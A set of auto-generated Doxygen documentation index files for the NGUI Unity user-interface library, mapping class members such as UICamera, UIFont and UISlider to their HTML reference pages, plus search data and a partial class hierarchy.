[ "iconName", "db/dd9/class_inv_base_item.html#a929f74a3c224b80404f61463b24fd8da", null ],
[ "id16", "db/dd9/class_inv_base_item.html#a955588e196071ad72312496af4875086", null ],
[ "maxItemLevel", "db/dd9/class_inv_base_item.html#a400ce5c042ee9f24460f5a406f340c81", null ],
[ "minItemLevel", "db/dd9/class_inv_base_item.html#a3f521567c0c9ce0c5361090945ba3394", null ],
[ "name", "db/dd9/class_inv_base_item.html#a2c3d6fd79719d2c4bbf3df8e71ecee9d", null ],
[ "slot", "db/dd9/class_inv_base_item.html#a90a0f4314de0487e6ee61bd86230212c", null ],
[ "stats", "db/dd9/class_inv_base_item.html#a0e44dd52d8c9979a91363fa5c78374ff", null ]
];<file_sep>/nguiApi/NGUIDocs/d2/d46/class_u_i_draw_call_inspector.js
var class_u_i_draw_call_inspector =
[
[ "OnInspectorGUI", "d2/d46/class_u_i_draw_call_inspector.html#ad3416b9c94830b6be439fcb999d3e8e6", null ]
];<file_sep>/nguiApi/NGUIDocs/d1/d1e/class_u_i_atlas_1_1_sprite.js
var class_u_i_atlas_1_1_sprite =
[
[ "inner", "d1/d1e/class_u_i_atlas_1_1_sprite.html#ae275cdbfe05da40fc88c295d8b038f56", null ],
[ "name", "d1/d1e/class_u_i_atlas_1_1_sprite.html#aee05357853b6fbdef50e754d3edcba3c", null ],
[ "outer", "d1/d1e/class_u_i_atlas_1_1_sprite.html#a67cc187d2ead5f87415c7a14185c6a4c", null ],
[ "paddingBottom", "d1/d1e/class_u_i_atlas_1_1_sprite.html#a61e64947d94fa38950ec748f25f52313", null ],
[ "paddingLeft", "d1/d1e/class_u_i_atlas_1_1_sprite.html#ad7a7b3df2bc74233cb29893d6d95509f", null ],
[ "paddingRight", "d1/d1e/class_u_i_atlas_1_1_sprite.html#a3e9021b6dc14de0881411d847d7efb5f", null ],
[ "paddingTop", "d1/d1e/class_u_i_atlas_1_1_sprite.html#a55c5b8121ffaa95cfeab588cba2175be", null ],
[ "hasPadding", "d1/d1e/class_u_i_atlas_1_1_sprite.html#a24da6c97cb45f7d6d5bdcef504674be1", null ]
];<file_sep>/nguiApi/NGUIDocs/search/properties_61.js
var searchData=
[
['amountperdelta',['amountPerDelta',['../db/d3d/class_u_i_tweener.html#a5c2636d93c024c9172ec7ee3488ba9ee',1,'UITweener']]],
['atlas',['atlas',['../db/d73/class_u_i_settings.html#aa0498ae0b6d1575c5e92362b4c22816a',1,'UISettings.atlas()'],['../d5/de7/class_u_i_font.html#a824851bcacb2118a318481f80514ebe2',1,'UIFont.atlas()'],['../d1/dc6/class_u_i_sprite.html#a4dd410e8f4c3f97539284feac2c02ac7',1,'UISprite.atlas()']]],
['atlasname',['atlasName',['../db/d73/class_u_i_settings.html#a5f32e90912632e98304fb08c37e84117',1,'UISettings']]]
];
<file_sep>/nguiApi/NGUIDocs/d6/d10/class_component_selector.js
var class_component_selector =
[
[ "Draw< T >", "d6/d10/class_component_selector.html#a29235ca2accefc0ca0e59fdf6cc19c10", null ],
[ "Draw< T >", "d6/d10/class_component_selector.html#aa3cb1b269aaa9028f604f3adf247dfa3", null ],
[ "OnSelectionCallback", "d6/d10/class_component_selector.html#a569e33d1ce99f1e59e0cc86f3db1113d", null ]
];<file_sep>/nguiApi/NGUIDocs/search/classes_65.js
var searchData=
[
['equipitems',['EquipItems',['../d1/da2/class_equip_items.html',1,'']]],
['equiprandomitem',['EquipRandomItem',['../df/da8/class_equip_random_item.html',1,'']]]
];
<file_sep>/nguiApi/NGUIDocs/d3/dd7/class_inv_stat.js
var class_inv_stat =
[
[ "Identifier", "d3/dd7/class_inv_stat.html#a9d4abb591e72d6ea3bba5ce0a19aae51", null ],
[ "Modifier", "d3/dd7/class_inv_stat.html#a4fd36427a28c4a9fdacaf6fda4293707", null ],
[ "CompareArmor", "d3/dd7/class_inv_stat.html#a36547869d8e986d2805a317c636737de", null ],
[ "CompareWeapon", "d3/dd7/class_inv_stat.html#a872d6a5eb49ea732a9a931c0c02cecb1", null ],
[ "GetDescription", "d3/dd7/class_inv_stat.html#adab4acd350a1f7ee27bd9c3d4ca6b762", null ],
[ "GetName", "d3/dd7/class_inv_stat.html#af8a28a44c19459d5490b1c6a2cabb527", null ],
[ "amount", "d3/dd7/class_inv_stat.html#a288ca59115ebaf940630ec5d898c9739", null ],
[ "id", "d3/dd7/class_inv_stat.html#a220ee83b342fde0abe3d68dd671519c2", null ],
[ "modifier", "d3/dd7/class_inv_stat.html#a7932337f1d17e5b77181d0239834c43e", null ]
];<file_sep>/nguiApi/NGUIDocs/search/classes_64.js
var searchData=
[
['destroyentry',['DestroyEntry',['../dc/d8a/class_update_manager_1_1_destroy_entry.html',1,'UpdateManager']]]
];
<file_sep>/nguiApi/NGUIDocs/dc/d57/class_u_i_drag_object.js
var class_u_i_drag_object =
[
[ "DragEffect", "dc/d57/class_u_i_drag_object.html#adf7efaaadad162a4f52e9631589da968", null ],
[ "dragEffect", "dc/d57/class_u_i_drag_object.html#aa8a53af73daa5b58f63e253dfb371d3b", null ],
[ "momentumAmount", "dc/d57/class_u_i_drag_object.html#a7db2a160d3ac0004048ebbc813d2026e", null ],
[ "restrictWithinPanel", "dc/d57/class_u_i_drag_object.html#affafd3bbecf51eea661e841edc6f0686", null ],
[ "scale", "dc/d57/class_u_i_drag_object.html#a7565a3ba5979cd0bdcf1472aefeef1bc", null ],
[ "scrollWheelFactor", "dc/d57/class_u_i_drag_object.html#ae362a3a97db8201e53fae9618490299a", null ],
[ "target", "dc/d57/class_u_i_drag_object.html#a35412483df626c3260a9b956cb850772", null ]
];<file_sep>/nguiApi/NGUIDocs/d2/d10/class_n_g_u_i_json.js
var class_n_g_u_i_json =
[
[ "eatWhitespace", "d2/d10/class_n_g_u_i_json.html#a25abfb0c00739fc69919dc76227c45f2", null ],
[ "getLastErrorIndex", "d2/d10/class_n_g_u_i_json.html#a1bd228c55e244f4c132c05961173244a", null ],
[ "getLastErrorSnippet", "d2/d10/class_n_g_u_i_json.html#af91360ca10b8b8555009eef95f2a4454", null ],
[ "getLastIndexOfNumber", "d2/d10/class_n_g_u_i_json.html#a001e0f6c83a849ca36c4d433d2ffb8e0", null ],
[ "jsonDecode", "d2/d10/class_n_g_u_i_json.html#ad64421aa90ecf47b619baa5c502b537c", null ],
[ "jsonEncode", "d2/d10/class_n_g_u_i_json.html#a72b878eb5e662ae0e814c2aff4b15896", null ],
[ "lastDecodeSuccessful", "d2/d10/class_n_g_u_i_json.html#ad157c26d1f1295554e99b96dabf9c50c", null ],
[ "LoadSpriteData", "d2/d10/class_n_g_u_i_json.html#a66f7e39408ff6e0b2cfbb863820b45c3", null ],
[ "lookAhead", "d2/d10/class_n_g_u_i_json.html#ae9de46ccee4f173e2acbb7345a885b64", null ],
[ "nextToken", "d2/d10/class_n_g_u_i_json.html#aa222b04a8cc1864c31741fd24542945a", null ],
[ "parseArray", "d2/d10/class_n_g_u_i_json.html#a676b917e8c85d12e272e4a08c2ffbf01", null ],
[ "parseNumber", "d2/d10/class_n_g_u_i_json.html#a649b5a4bccf9d0e62464fc0a1c0d2fd6", null ],
[ "parseObject", "d2/d10/class_n_g_u_i_json.html#a720778ed63e37a371f6276716d04d325", null ],
[ "parseString", "d2/d10/class_n_g_u_i_json.html#a3117c4797e60d91f7a35c09ffcffd32f", null ],
[ "parseValue", "d2/d10/class_n_g_u_i_json.html#a14303fd4983125c7e9f34a74cac1419a", null ],
[ "serializeArray", "d2/d10/class_n_g_u_i_json.html#a18444b0b03ce458aad0f5c9db96981f5", null ],
[ "serializeDictionary", "d2/d10/class_n_g_u_i_json.html#a148a4dc5d66c5be1a7e0ff448342797d", null ],
[ "serializeNumber", "d2/d10/class_n_g_u_i_json.html#ac0a70971867a06d29fa013d539e1f817", null ],
[ "serializeObject", "d2/d10/class_n_g_u_i_json.html#ab55063acb2aae20a72a1946d22a88c1e", null ],
[ "serializeObjectOrArray", "d2/d10/class_n_g_u_i_json.html#a8f1be986676e8af176b3ba3a1230d4b2", null ],
[ "serializeString", "d2/d10/class_n_g_u_i_json.html#adceabb7bc342ce4f7ee59dc638b12d5a", null ],
[ "serializeValue", "d2/d10/class_n_g_u_i_json.html#a3046e77fe91a396841472959a6d91a2b", null ],
[ "lastDecode", "d2/d10/class_n_g_u_i_json.html#a4b14e07f433fb92c4e0014186913d983", null ],
[ "lastErrorIndex", "d2/d10/class_n_g_u_i_json.html#a88f5aba07be8c1c9c4430984fb4a4c03", null ]
];<file_sep>/nguiApi/NGUIDocs/search/properties_64.js
var searchData=
[
['debuginfo',['debugInfo',['../da/deb/class_u_i_panel.html#ac26c62573ebc863f2e1a8274659bc489',1,'UIPanel']]],
['depth',['depth',['../d1/d68/class_u_i_widget.html#aadda050c626a9c8af578e23910590c02',1,'UIWidget']]],
['depthpass',['depthPass',['../d0/dd6/class_u_i_draw_call.html#a10821b67933647828c26872ff164f887',1,'UIDrawCall']]],
['drawcalls',['drawCalls',['../da/deb/class_u_i_panel.html#a07a93edaaeb66b5d1626fd8e4650ed7b',1,'UIPanel']]]
];
<file_sep>/nguiApi/NGUIDocs/d7/dc5/class_u_i_button_tween.js
var class_u_i_button_tween =
[
[ "disableWhenFinished", "d7/dc5/class_u_i_button_tween.html#a92bd32401e9117d330323c85aba71bb5", null ],
[ "ifDisabledOnPlay", "d7/dc5/class_u_i_button_tween.html#a9ff803408235a3057973f0669d42c250", null ],
[ "includeChildren", "d7/dc5/class_u_i_button_tween.html#a1d30969b4e911b4c9a92955af80427a4", null ],
[ "playDirection", "d7/dc5/class_u_i_button_tween.html#a782883f5b6a97a50ba8167f703761db9", null ],
[ "resetOnPlay", "d7/dc5/class_u_i_button_tween.html#a904f415665b9c4df9c2d4740624851ee", null ],
[ "trigger", "d7/dc5/class_u_i_button_tween.html#a61edf58756da9513e60de15607bd9a27", null ],
[ "tweenGroup", "d7/dc5/class_u_i_button_tween.html#a6dbdef985038764c3617ce9d5ba2cb32", null ],
[ "tweenTarget", "d7/dc5/class_u_i_button_tween.html#af6d84ad35f632d1adfd422d43c75e5c0", null ]
];<file_sep>/nguiApi/NGUIDocs/d0/de4/class_u_i_sprite_animation.js
var class_u_i_sprite_animation =
[
[ "framesPerSecond", "d0/de4/class_u_i_sprite_animation.html#abf958ea8f66a9f2193cae3dd556ae764", null ],
[ "namePrefix", "d0/de4/class_u_i_sprite_animation.html#a1b3b06151ce86c165604baa2695a8d5b", null ]
];<file_sep>/nguiApi/NGUIDocs/d9/d44/class_u_i_widget_inspector.js
var class_u_i_widget_inspector =
[
[ "DrawCommonProperties", "d9/d44/class_u_i_widget_inspector.html#af72f39db3fd905f49bf692f4f3f6a61f", null ],
[ "OnDrawProperties", "d9/d44/class_u_i_widget_inspector.html#aec8b49b9a560bcc940f8f6bc55dbff2c", null ],
[ "OnDrawTexture", "d9/d44/class_u_i_widget_inspector.html#a67550a5c93dca149c0d1b3857c726f01", null ],
[ "OnInit", "d9/d44/class_u_i_widget_inspector.html#a1a842be0243bd7295e3a4f14393f42ac", null ],
[ "OnInspectorGUI", "d9/d44/class_u_i_widget_inspector.html#adeeb726a02a58ec0a40be81bc3d648ee", null ],
[ "mAllowPreview", "d9/d44/class_u_i_widget_inspector.html#aaed0d98fb30d5b056644afbd22b9b487", null ],
[ "mUseShader", "d9/d44/class_u_i_widget_inspector.html#a6218cc1f307a548a55a7f7dcdb937cec", null ],
[ "mWidget", "d9/d44/class_u_i_widget_inspector.html#a06846897c333c4eaf1e5852475894e77", null ]
];<file_sep>/nguiApi/NGUIDocs/de/d25/class_u_i_camera.js
var class_u_i_camera =
[
[ "FindCameraForLayer", "de/d25/class_u_i_camera.html#ad14fd0b6f88c7a7ca0560bf68aa82525", null ],
[ "eventReceiverMask", "de/d25/class_u_i_camera.html#ad10a4cbcbd70f2520871cef9abc44a4a", null ],
[ "fallThrough", "de/d25/class_u_i_camera.html#a75cb3015ddda622ab7460750f3c6fb88", null ],
[ "lastCamera", "de/d25/class_u_i_camera.html#a004f6de3b271e465c6ceb8abfe6a9f5b", null ],
[ "lastHit", "de/d25/class_u_i_camera.html#a95028b411b80c9afb016568f7a6f9f60", null ],
[ "lastTouchID", "de/d25/class_u_i_camera.html#a014f52e936a2b88ed867a4a7784e90bd", null ],
[ "lastTouchPosition", "de/d25/class_u_i_camera.html#a5a20550e03d0346174817d22cbe92c15", null ],
[ "scrollAxisName", "de/d25/class_u_i_camera.html#a9a67421efe632a5dc14804c517579a7a", null ],
[ "tooltipDelay", "de/d25/class_u_i_camera.html#a8cc400fbb26bce6eba53689eb2b0c692", null ],
[ "useController", "de/d25/class_u_i_camera.html#a6204d6bd57dd719964b8360f5dde3ae4", null ],
[ "useKeyboard", "de/d25/class_u_i_camera.html#a1f0456e5ef29c997ea8df5e03546a2f6", null ],
[ "useMouse", "de/d25/class_u_i_camera.html#adf6b7fac9b260a5fbd6896399032de5b", null ],
[ "useTouch", "de/d25/class_u_i_camera.html#a6a069dcb93f4d85385598bab969e669a", null ],
[ "cachedCamera", "de/d25/class_u_i_camera.html#a26ed6d2c8ff236c0280058ad253fa66b", null ],
[ "eventHandler", "de/d25/class_u_i_camera.html#a38c3da5676befdd4b64f86acfb71ad38", null ],
[ "handlesEvents", "de/d25/class_u_i_camera.html#a12a5ae12c7a2f75776ff6f5192b8a968", null ],
[ "hoveredObject", "de/d25/class_u_i_camera.html#a160bd9246c107025608f9f19147a64e7", null ],
[ "mainCamera", "de/d25/class_u_i_camera.html#a113d0219806ce948c76de4dbdb3ed75a", null ],
[ "selectedObject", "de/d25/class_u_i_camera.html#a7484bf1bd9b1cfdb89371436b701bc8a", null ]
];<file_sep>/nguiApi/NGUIDocs/search/variables_74.js
var searchData=
[
['target',['target',['../d5/dc0/class_u_i_drag_camera.html#afa963d2e4c63e94a7b946c67154db5d6',1,'UIDragCamera.target()'],['../dc/d57/class_u_i_drag_object.html#a35412483df626c3260a9b956cb850772',1,'UIDragObject.target()']]],
['template',['template',['../db/d4a/class_u_i_item_storage.html#a54f95309b8f4aaaa9dd91add3a49e4b2',1,'UIItemStorage']]],
['textcolor',['textColor',['../d0/dcb/class_u_i_popup_list.html#a6572c9bd436573fdaf8066b1c5ae43d5',1,'UIPopupList']]],
['textlabel',['textLabel',['../d0/dcb/class_u_i_popup_list.html#abeff707bd7537168a7997ef5389090ae',1,'UIPopupList']]],
['textscale',['textScale',['../d0/dcb/class_u_i_popup_list.html#ac7aa1fb7552f69ae811675e2de0db3e9',1,'UIPopupList']]],
['tooltipdelay',['tooltipDelay',['../de/d25/class_u_i_camera.html#a8cc400fbb26bce6eba53689eb2b0c692',1,'UICamera']]],
['tweengroup',['tweenGroup',['../db/d3d/class_u_i_tweener.html#a4e68360886bb3298cdd86b8f0326770c',1,'UITweener']]]
];
<file_sep>/nguiApi/NGUIDocs/df/d68/class_u_i_slider.js
var class_u_i_slider =
[
[ "Direction", "df/d68/class_u_i_slider.html#a053d19524745e1cc9d3d108943380e7b", null ],
[ "current", "df/d68/class_u_i_slider.html#aba7ea32b79aa53888b4d8c053ebf0f08", null ],
[ "direction", "df/d68/class_u_i_slider.html#a068f251ec7223cc5ae9bf9deae7f7928", null ],
[ "eventReceiver", "df/d68/class_u_i_slider.html#a43959c332b84430cbd04909258ea31ec", null ],
[ "foreground", "df/d68/class_u_i_slider.html#a17187fc7b9e81b3c4b943e056ede7192", null ],
[ "fullSize", "df/d68/class_u_i_slider.html#af06997bb96968b0caa95d50128048c38", null ],
[ "functionName", "df/d68/class_u_i_slider.html#a1a641ad0c09b651e8fce09b205b7a78f", null ],
[ "numberOfSteps", "df/d68/class_u_i_slider.html#a9a031dcca92151dd54124744857bd2e1", null ],
[ "rawValue", "df/d68/class_u_i_slider.html#a27f2e62cc141929080798b75d0443356", null ],
[ "thumb", "df/d68/class_u_i_slider.html#a606f21721c5547c151c37ab4a73e3ca4", null ],
[ "sliderValue", "df/d68/class_u_i_slider.html#a4e955b5458b31aebb1fc43ffca040603", null ]
];<file_sep>/nguiApi/NGUIDocs/d8/d01/class_better_list-g.js
var class_better_list-g =
[
[ "Add", "d8/d01/class_better_list-g.html#a80ef1199bad5ed9aa45feaa0e1fec747", null ],
[ "Clear", "d8/d01/class_better_list-g.html#a3fe73e26e4af6730ad5c51262b8defc6", null ],
[ "GetEnumerator", "d8/d01/class_better_list-g.html#a85bc21502d4505f8b3081fad50bc938b", null ],
[ "Release", "d8/d01/class_better_list-g.html#a15fe71a084201e82909cd79523e1110f", null ],
[ "Remove", "d8/d01/class_better_list-g.html#a37a84c6bcc199481b4955d06052fef0f", null ],
[ "RemoveAt", "d8/d01/class_better_list-g.html#afe8681eb054a8ba3a960c5d93d8ef21d", null ],
[ "ToArray", "d8/d01/class_better_list-g.html#a035cfb5d65fb26a43dbb006930410830", null ],
[ "buffer", "d8/d01/class_better_list-g.html#ae25b374ece91b81ab57b1d4b038ecb1b", null ],
[ "size", "d8/d01/class_better_list-g.html#ade12ac49ce27b37482d8d5830c604e84", null ],
[ "this[int i]", "d8/d01/class_better_list-g.html#adf631b621140d5aed1dd46a3c3ecb5aa", null ]
];<file_sep>/nguiApi/NGUIDocs/search/classes_6d.js
var searchData=
[
['mouseortouch',['MouseOrTouch',['../d3/d23/class_u_i_camera_1_1_mouse_or_touch.html',1,'UICamera']]]
];
<file_sep>/nguiApi/NGUIDocs/d5/de7/class_u_i_font.js
var class_u_i_font =
[
[ "Alignment", "d5/de7/class_u_i_font.html#a997202e7af7102884ec36133fa711afc", null ],
[ "CalculatePrintedSize", "d5/de7/class_u_i_font.html#a6dcea1bf38e0de965a7fedc8f8dc718d", null ],
[ "CheckIfRelated", "d5/de7/class_u_i_font.html#a398d2742c9f62b34f1f7d804432a86b0", null ],
[ "MarkAsDirty", "d5/de7/class_u_i_font.html#a54335917630d44fb742a5bdb5dd7b4c0", null ],
[ "Print", "d5/de7/class_u_i_font.html#a9b52dbc455ba50746d5b2a92bcfc40d0", null ],
[ "WrapText", "d5/de7/class_u_i_font.html#a9e7fbdea3f4eb99567d2e605ce106148", null ],
[ "atlas", "d5/de7/class_u_i_font.html#a824851bcacb2118a318481f80514ebe2", null ],
[ "bmFont", "d5/de7/class_u_i_font.html#af30779b9908c7f46ab5c8bf505954d9e", null ],
[ "horizontalSpacing", "d5/de7/class_u_i_font.html#acf2db9a05a7e61a18ef299093ddb769e", null ],
[ "material", "d5/de7/class_u_i_font.html#af16d67d496ce3ee8879c264f2536a87d", null ],
[ "replacement", "d5/de7/class_u_i_font.html#a270be0f31fed62c6b4d9ea7735a2c60a", null ],
[ "size", "d5/de7/class_u_i_font.html#ad7c307a7d98035f7bb1a26140f85eec6", null ],
[ "sprite", "d5/de7/class_u_i_font.html#ac8f9949faa56c2932510d91d5f47ccfe", null ],
[ "spriteName", "d5/de7/class_u_i_font.html#aa5c0967c0e7f095410504be6c483125c", null ],
[ "texHeight", "d5/de7/class_u_i_font.html#af767495d4b525462791ce68393080f08", null ],
[ "texture", "d5/de7/class_u_i_font.html#a7796ece34b1c04935195745fa6391721", null ],
[ "texWidth", "d5/de7/class_u_i_font.html#a86e01853367d56d758afe87bf7e8b33d", null ],
[ "uvRect", "d5/de7/class_u_i_font.html#affb381d2c3c5cf06e7b4ca3170c09770", null ],
[ "verticalSpacing", "d5/de7/class_u_i_font.html#a4ed711a01b8a03afd7e2557a2174aea7", null ]
];<file_sep>/nguiApi/NGUIDocs/d8/dfc/class_u_i_panel_inspector.js
var class_u_i_panel_inspector =
[
[ "OnInspectorGUI", "d8/dfc/class_u_i_panel_inspector.html#a171d281e7a422d1c4f2f09de9e52b13c", null ]
];<file_sep>/nguiApi/NGUIDocs/d4/d1b/class_u_i_texture.js
var class_u_i_texture =
[
[ "MakePixelPerfect", "d4/d1b/class_u_i_texture.html#a89086fbc298271937840eb6f23772565", null ],
[ "OnFill", "d4/d1b/class_u_i_texture.html#ac840c7880f2cb4adae3b7bc7ef2816b1", null ]
];<file_sep>/nguiApi/NGUIDocs/d2/de4/class_inv_attachment_point.js
var class_inv_attachment_point =
[
[ "Attach", "d2/de4/class_inv_attachment_point.html#af9d3088676104a2254bc4ee7deeb0819", null ],
[ "slot", "d2/de4/class_inv_attachment_point.html#a49224d9bd65191ca406d52ab32b80437", null ]
];<file_sep>/nguiApi/NGUIDocs/d0/ded/class_u_i_input.js
var class_u_i_input =
[
[ "Init", "d0/ded/class_u_i_input.html#a59d6672b977ca8e9bc4e194372fd6975", null ],
[ "activeColor", "d0/ded/class_u_i_input.html#abeb6d1978f1d670350dc3213b20892ec", null ],
[ "caratChar", "d0/ded/class_u_i_input.html#a231f3a361b0c4318798a45ba1ee870f1", null ],
[ "current", "d0/ded/class_u_i_input.html#aff1e00dedae1e8c19b17162ed3866207", null ],
[ "eventReceiver", "d0/ded/class_u_i_input.html#abb34ce271b9a068a246e0482996177f5", null ],
[ "functionName", "d0/ded/class_u_i_input.html#abb291ba1021bbb7edae2d4d3e0ebb222", null ],
[ "label", "d0/ded/class_u_i_input.html#aaec549fe8834293c65d5f01985405b39", null ],
[ "maxChars", "d0/ded/class_u_i_input.html#a8fa80c3cfe8ecbc79f6f50e0b9457465", null ],
[ "selected", "d0/ded/class_u_i_input.html#aefc96ecca7caa4436b3ddc8dd8d58fa8", null ],
[ "text", "d0/ded/class_u_i_input.html#a80829dda5a4ca242f625a5951ae254b8", null ]
];<file_sep>/nguiApi/NGUIDocs/search/variables_6d.js
var searchData=
[
['maxcolumns',['maxColumns',['../db/d4a/class_u_i_item_storage.html#a629f294909ac74a6fe2bd34d7472f486',1,'UIItemStorage']]],
['maxitemcount',['maxItemCount',['../db/d4a/class_u_i_item_storage.html#a207ff84aef2aecc6a76afdbfa6e45552',1,'UIItemStorage']]],
['maxrows',['maxRows',['../db/d4a/class_u_i_item_storage.html#abd2f375b154a27bff70694204e0ad64c',1,'UIItemStorage']]],
['method',['method',['../db/d3d/class_u_i_tweener.html#af29adcd2bf734700b944d86b91077788',1,'UITweener']]],
['minitemlevel',['minItemLevel',['../db/dd9/class_inv_base_item.html#a3f521567c0c9ce0c5361090945ba3394',1,'InvBaseItem']]],
['momentumamount',['momentumAmount',['../d5/dc0/class_u_i_drag_camera.html#a311c70529e5fffd6c57206c2850f8c4f',1,'UIDragCamera.momentumAmount()'],['../dc/d57/class_u_i_drag_object.html#a7db2a160d3ac0004048ebbc813d2026e',1,'UIDragObject.momentumAmount()']]]
];
<file_sep>/nguiApi/NGUIDocs/db/d58/class_inv_database_inspector.js
var class_inv_database_inspector =
[
[ "OnInspectorGUI", "db/d58/class_inv_database_inspector.html#a49c9d883e3b8c140ddf11ab92c3ef3bf", null ],
[ "SelectIndex", "db/d58/class_inv_database_inspector.html#a9c04283dc4a41bfb193b5386a8e9f268", null ]
];<file_sep>/nguiApi/NGUIDocs/search/variables_67.js
var searchData=
[
['generatenormals',['generateNormals',['../da/deb/class_u_i_panel.html#a7cb562cd564108ba84acf209a13b1bbb',1,'UIPanel']]]
];
<file_sep>/nguiApi/NGUIDocs/search/variables_75.js
var searchData=
[
['usecontroller',['useController',['../de/d25/class_u_i_camera.html#a6204d6bd57dd719964b8360f5dde3ae4',1,'UICamera']]],
['usekeyboard',['useKeyboard',['../de/d25/class_u_i_camera.html#a1f0456e5ef29c997ea8df5e03546a2f6',1,'UICamera']]],
['usemouse',['useMouse',['../de/d25/class_u_i_camera.html#adf6b7fac9b260a5fbd6896399032de5b',1,'UICamera']]],
['usetouch',['useTouch',['../de/d25/class_u_i_camera.html#a6a069dcb93f4d85385598bab969e669a',1,'UICamera']]],
['uvs',['uvs',['../da/dc9/class_u_i_geometry.html#a70ebe64825fcf4a8c20f1ebc5b01d463',1,'UIGeometry']]]
];
<file_sep>/nguiApi/NGUIDocs/d7/d74/class_u_i_cursor.js
var class_u_i_cursor =
[
[ "Clear", "d7/d74/class_u_i_cursor.html#aaf95aa9987cc86563f8573a7f2872bfe", null ],
[ "Set", "d7/d74/class_u_i_cursor.html#a061b7da546329af781a408150661b630", null ],
[ "uiCamera", "d7/d74/class_u_i_cursor.html#ac398b47630ff55ad682f89a73e92c8bc", null ]
];<file_sep>/nguiApi/NGUIDocs/search/classes_6b.js
var searchData=
[
['kerning',['Kerning',['../df/d3c/struct_b_m_glyph_1_1_kerning.html',1,'BMGlyph']]]
];
<file_sep>/nguiApi/NGUIDocs/d7/d42/class_u_i_sprite_inspector.js
var class_u_i_sprite_inspector =
[
[ "OnDrawProperties", "d7/d42/class_u_i_sprite_inspector.html#a439be04b1b0da618f028e2ae5bb29e89", null ],
[ "OnDrawTexture", "d7/d42/class_u_i_sprite_inspector.html#a8d2adf5efdf28d859351776ae8d62661", null ],
[ "SpriteField", "d7/d42/class_u_i_sprite_inspector.html#ae410845e701fb8e8fcce7c88171d7511", null ],
[ "SpriteField", "d7/d42/class_u_i_sprite_inspector.html#a268844914dd079096f3680d3248ee804", null ],
[ "mSprite", "d7/d42/class_u_i_sprite_inspector.html#ab4cf11e668c33b2ea6370cd422be0d1d", null ]
];<file_sep>/nguiApi/NGUIDocs/search/functions_6c.js
var searchData=
[
['lastdecodesuccessful',['lastDecodeSuccessful',['../d2/d10/class_n_g_u_i_json.html#ad157c26d1f1295554e99b96dabf9c50c',1,'NGUIJson']]],
['layermaskfield',['LayerMaskField',['../d5/dd3/class_u_i_camera_tool.html#a32f16d23c8ce04fae9fce979799fbdfc',1,'UICameraTool']]],
['load',['Load',['../d3/de7/class_b_m_font_reader.html#a561aad5390aae7990bb3ec70ac68c0e7',1,'BMFontReader']]],
['loadspritedata',['LoadSpriteData',['../d2/d10/class_n_g_u_i_json.html#a66f7e39408ff6e0b2cfbb863820b45c3',1,'NGUIJson']]]
];
<file_sep>/nguiApi/NGUIDocs/hierarchy.js
var hierarchy =
[
[ "BetterList< T >", "d8/d01/class_better_list-g.html", null ],
[ "BMFont", "d0/d6a/class_b_m_font.html", null ],
[ "BMFontReader", "d3/de7/class_b_m_font_reader.html", null ],
[ "BMGlyph", "d6/de2/class_b_m_glyph.html", null ],
[ "ByteReader", "d7/d5d/class_byte_reader.html", null ],
[ "ChatInput", "d7/de1/class_chat_input.html", null ],
[ "ComponentSelector", "d6/d10/class_component_selector.html", null ],
[ "UpdateManager.DestroyEntry", "dc/d8a/class_update_manager_1_1_destroy_entry.html", null ],
[ "EquipItems", "d1/da2/class_equip_items.html", null ],
[ "EquipRandomItem", "df/da8/class_equip_random_item.html", null ],
[ "IgnoreTimeScale", "d8/d04/class_ignore_time_scale.html", [
[ "ActiveAnimation", "d6/d23/class_active_animation.html", null ],
[ "PanWithMouse", "d1/db9/class_pan_with_mouse.html", null ],
[ "SpringPosition", "df/d08/class_spring_position.html", null ],
[ "UIDragCamera", "d5/dc0/class_u_i_drag_camera.html", null ],
[ "UIDragObject", "dc/d57/class_u_i_drag_object.html", null ],
[ "UISlider", "df/d68/class_u_i_slider.html", null ],
[ "UITweener", "db/d3d/class_u_i_tweener.html", [
[ "TweenColor", "da/d60/class_tween_color.html", null ],
[ "TweenPosition", "de/d50/class_tween_position.html", null ],
[ "TweenRotation", "d7/dbc/class_tween_rotation.html", null ],
[ "TweenScale", "d6/d0b/class_tween_scale.html", null ],
[ "TweenTransform", "d9/d31/class_tween_transform.html", null ]
] ]
] ],
[ "NGUIEditorTools.IntVector", "dc/d3e/struct_n_g_u_i_editor_tools_1_1_int_vector.html", null ],
[ "InvAttachmentPoint", "d2/de4/class_inv_attachment_point.html", null ],
[ "InvBaseItem", "db/dd9/class_inv_base_item.html", null ],
[ "InvDatabase", "d9/d9a/class_inv_database.html", null ],
[ "InvDatabaseInspector", "db/d58/class_inv_database_inspector.html", null ],
[ "InvEquipment", "db/ded/class_inv_equipment.html", null ],
[ "InvFindItem", "da/d40/class_inv_find_item.html", null ],
[ "InvGameItem", "d3/dbc/class_inv_game_item.html", null ],
[ "InvStat", "d3/dd7/class_inv_stat.html", null ],
[ "InvTools", "d2/de7/class_inv_tools.html", null ],
[ "BMGlyph.Kerning", "df/d3c/struct_b_m_glyph_1_1_kerning.html", null ],
[ "LagPosition", "d7/dfe/class_lag_position.html", null ],
[ "LagRotation", "d5/d18/class_lag_rotation.html", null ],
[ "LanguageSelection", "d8/d64/class_language_selection.html", null ],
[ "LoadLevelOnClick", "db/dfb/class_load_level_on_click.html", null ],
[ "Localization", "dd/d88/class_localization.html", null ],
[ "LookAtTarget", "d5/d1d/class_look_at_target.html", null ],
[ "UICamera.MouseOrTouch", "d3/d23/class_u_i_camera_1_1_mouse_or_touch.html", null ],
[ "NGUIDebug", "d9/db5/class_n_g_u_i_debug.html", null ],
[ "NGUIEditorTools", "d7/d56/class_n_g_u_i_editor_tools.html", null ],
[ "NGUIJson", "d2/d10/class_n_g_u_i_json.html", null ],
[ "NGUIMath", "d0/d11/class_n_g_u_i_math.html", null ],
[ "NGUIMenu", "d6/d52/class_n_g_u_i_menu.html", null ],
[ "NGUISelectionTools", "dd/de0/class_n_g_u_i_selection_tools.html", null ],
[ "NGUITools", "d8/dee/class_n_g_u_i_tools.html", null ],
[ "NGUITransformInspector", "d5/d86/class_n_g_u_i_transform_inspector.html", null ],
[ "UITextList.Paragraph", "de/d2a/class_u_i_text_list_1_1_paragraph.html", null ],
[ "PlayIdleAnimations", "d5/de0/class_play_idle_animations.html", null ],
[ "SetColorOnSelection", "df/d6b/class_set_color_on_selection.html", null ],
[ "ShaderQuality", "d7/d41/class_shader_quality.html", null ],
[ "Spin", "d2/df0/class_spin.html", null ],
[ "SpinWithMouse", "d6/ddd/class_spin_with_mouse.html", null ],
[ "UIAtlas.Sprite", "d1/d1e/class_u_i_atlas_1_1_sprite.html", null ],
[ "TypewriterEffect", "d4/ddd/class_typewriter_effect.html", null ],
